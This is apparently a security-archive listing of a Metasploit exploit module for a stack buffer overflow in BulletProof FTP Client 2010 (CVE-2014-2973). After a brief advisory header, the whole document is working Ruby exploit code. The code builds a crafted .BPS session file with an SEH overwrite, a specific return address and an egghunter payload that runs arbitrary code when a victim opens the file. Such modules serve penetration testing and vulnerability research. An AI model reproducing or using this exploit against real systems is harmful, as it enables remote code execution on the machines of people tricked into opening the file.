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BulletProof FTP Client BPS Buffer Overflow

BulletProof FTP Client BPS Buffer Overflow
Posted Jan 6, 2015
Authored by Gabor Seljan | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in BulletProof FTP Client 2010, caused by an overly long hostname. By persuading the victim to open a specially-crafted .BPS file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This Metasploit module has been tested successfully on Windows XP SP3.

tags | exploit, remote, overflow, arbitrary
systems | windows, xp
advisories | CVE-2014-2973
MD5 | 6f00f2af940afc19976a4e84fa4d807c

BulletProof FTP Client BPS Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
BulletProof FTP Client 2010, caused by an overly long hostname.
By persuading the victim to open a specially-crafted .BPS file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabor Seljan'
],
'References' =>
[
[ 'EDB', '34162' ],
[ 'EDB', '34540' ],
[ 'EDB', '35449' ],
[ 'OSVDB', '109547' ],
[ 'CVE', '2014-2973' ],
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x1a",
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Offset' => 89,
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 24 2014',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
],
self.class)
end

def exploit
eggoptions = {
:checksum => true,
:eggtag => 'w00t'
}

hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
sploit << rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter + "\r\n" # FTP Server HOST / IP
sploit << rand_text_numeric(5) + "\r\n" # Port number
sploit << egg + "\r\n" # Login name
sploit << rand_text_alpha(8) + "\r\n" # Login password

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(sploit)
end

end
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